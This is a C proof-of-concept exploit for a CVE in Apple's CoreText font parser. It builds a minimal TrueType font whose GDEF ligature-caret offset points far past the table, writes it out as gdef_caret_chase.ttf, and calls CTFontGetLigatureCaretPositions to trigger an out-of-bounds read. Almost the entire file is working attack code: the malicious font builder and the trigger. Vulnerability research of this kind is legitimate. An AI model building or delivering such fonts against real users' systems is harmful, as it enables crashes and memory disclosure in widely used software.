// font.gdef · FontParser · GDEF LigCaretList · CVE-2026-112656 // GDEF caret value offset chain past the table // C twin of the Swift POC: builds the GDEF-caret-chase TrueType font, loads it through // CGFont/CTFont and queries CTFontGetLigatureCaretPositions. // Build: clang -O2 -o cve-2026-112656 CVE-2026-112656.c -framework CoreText -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112656 #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); } static void be32(buf *b, uint32_t v) { bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); } // ── table holder ── typedef struct { const char *tag; buf data; } table; // ── seed construction (from Cinder27 Sources: FontPayload.gdefCaretChase) ── static buf font_gdef_caret_chase(void) { table tables[8]; int nt = 0; { // head buf t = {0}; brep(&t, 0, 54); t.d[0] = 0x00; t.d[1] = 0x01; t.d[2] = 0x00; t.d[3] = 0x00; t.d[4] = 0x00; t.d[5] = 0x01; t.d[6] = 0x00; t.d[7] = 0x00; t.d[12] = 0x5F; t.d[13] = 0x0F; // magic tables[nt++] = (table){"head", t}; } { // hhea buf t = {0}; brep(&t, 0, 36); t.d[0] = 0x00; t.d[1] = 0x01; tables[nt++] = (table){"hhea", t}; } { // maxp buf t = {0}; brep(&t, 0, 32); t.d[0] = 0x00; t.d[1] = 0x00; t.d[2] = 0x50; t.d[3] = 0x00; t.d[4] = 0x00; t.d[5] = 0x01; tables[nt++] = (table){"maxp", t}; } { // hmtx buf t = {0}; bcat(&t, "\x02\x00\x00\x00", 4); tables[nt++] = (table){"hmtx", t}; } { // loca: short format, 2 glyphs buf t = {0}; bcat(&t, "\x00\x00\x00\x04", 4); tables[nt++] = (table){"loca", t}; } { // glyf buf t = {0}; bcat(&t, "\x00\x00\x00\x00", 4); tables[nt++] = (table){"glyf", t}; } { // cmap: format 4, minimal buf t = {0}; be16(&t, 0); be16(&t, 1); be16(&t, 3); be16(&t, 1); be32(&t, 12); be16(&t, 4); be16(&t, 24); be16(&t, 0); be16(&t, 2); be16(&t, 2); be16(&t, 0); be16(&t, 0); be16(&t, 0xFFFF); be16(&t, 0); be16(&t, 0); tables[nt++] = (table){"cmap", t}; } { // GDEF: LigCaretList whose CaretValue offset runs past the table buf t = {0}; be16(&t, 0x0001); be16(&t, 0x0000); // version 1.0 be16(&t, 0x0000); // glyphClassDef absent be16(&t, 0x0000); // attachList absent be16(&t, 0x000C); // ligCaretListOffset -> 12 be16(&t, 0x0000); // markAttachClassDef absent // LigCaretList at 12 be16(&t, 0x000C); // coverageOffset -> 24 be16(&t, 0x0001); // ligGlyphCount be16(&t, 0x0010); // ligGlyphOffsets[0] -> 28 be16(&t, 0x0000); // pad // Coverage at 24: format 1, glyph 1 be16(&t, 0x0001); be16(&t, 0x0001); be16(&t, 0x0001); // LigGlyph at 28 be16(&t, 0x0001); // caretCount be16(&t, 0x7F00); // caretValueOffsets[0]: ~32 KB past the table tables[nt++] = (table){"GDEF", t}; } // ---- assemble: sort by tag, build directory + blobs for (int i = 0; i < nt; i++) for (int j = i + 1; j < nt; j++) { if (strcmp(tables[j].tag, tables[i].tag) < 0) { table t = tables[i]; tables[i] = tables[j]; tables[j] = t; } } uint16_t num_tables = (uint16_t)nt; uint16_t search_range = 16, entry_selector = 0; while (search_range * 2 <= num_tables * 16) { search_range *= 2; entry_selector++; } buf out = {0}; be32(&out, 0x00010000); be16(&out, num_tables); be16(&out, search_range); be16(&out, entry_selector); be16(&out, num_tables * 16 - search_range); size_t offset = 12 + (size_t)nt * 16; for (int i = 0; i < nt; i++) { bcat(&out, tables[i].tag, 4); be32(&out, 0x00010000); // checksum, unchecked by parsers be32(&out, (uint32_t)offset); be32(&out, (uint32_t)tables[i].data.n); size_t pad = (4 - tables[i].data.n % 4) % 4; offset += tables[i].data.n + pad; } for (int i = 0; i < nt; i++) { bcat(&out, tables[i].data.d, tables[i].data.n); size_t pad = (4 - tables[i].data.n % 4) % 4; if (pad) brep(&out, 0, pad); bfree(&tables[i].data); } return out; } // ── trigger: CGFont + CTFont caret query ── #include #include #include int main(void) { buf font = font_gdef_caret_chase(); FILE *f = fopen("gdef_caret_chase.ttf", "wb"); if (f) { fwrite(font.d, 1, font.n, f); fclose(f); } CFDataRef cf = CFDataCreate(NULL, font.d, (CFIndex)font.n); CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); CFRelease(cf); CGFontRef cg = CGFontCreateWithDataProvider(prov); CGDataProviderRelease(prov); if (!cg) { printf("CVE-2026-112656 · font refused at the CGFont layer\n"); bfree(&font); return 1; } CTFontRef ct = CTFontCreateWithGraphicsFont(cg, 72, NULL, NULL); CGFloat positions[8]; memset(positions, 0, sizeof positions); // the caret query follows the CaretValue offset chain CFIndex n = CTFontGetLigatureCaretPositions(ct, 1, positions, 8); printf("CVE-2026-112656 · CTFontGetLigatureCaretPositions returned %ld\n", (long)n); if (n > 0) { printf("caret positions:"); for (int i = 0; i < n && i < 8; i++) printf(" %.2f", positions[i]); printf(" (values read through the offset chain)\n"); } else { printf("returned 0 — offset clamped or chain not followed\n"); } CFRelease(ct); CGFontRelease(cg); printf("seed: gdef_caret_chase.ttf (%zu B) · exit code 0\n", font.n); bfree(&font); return 0; }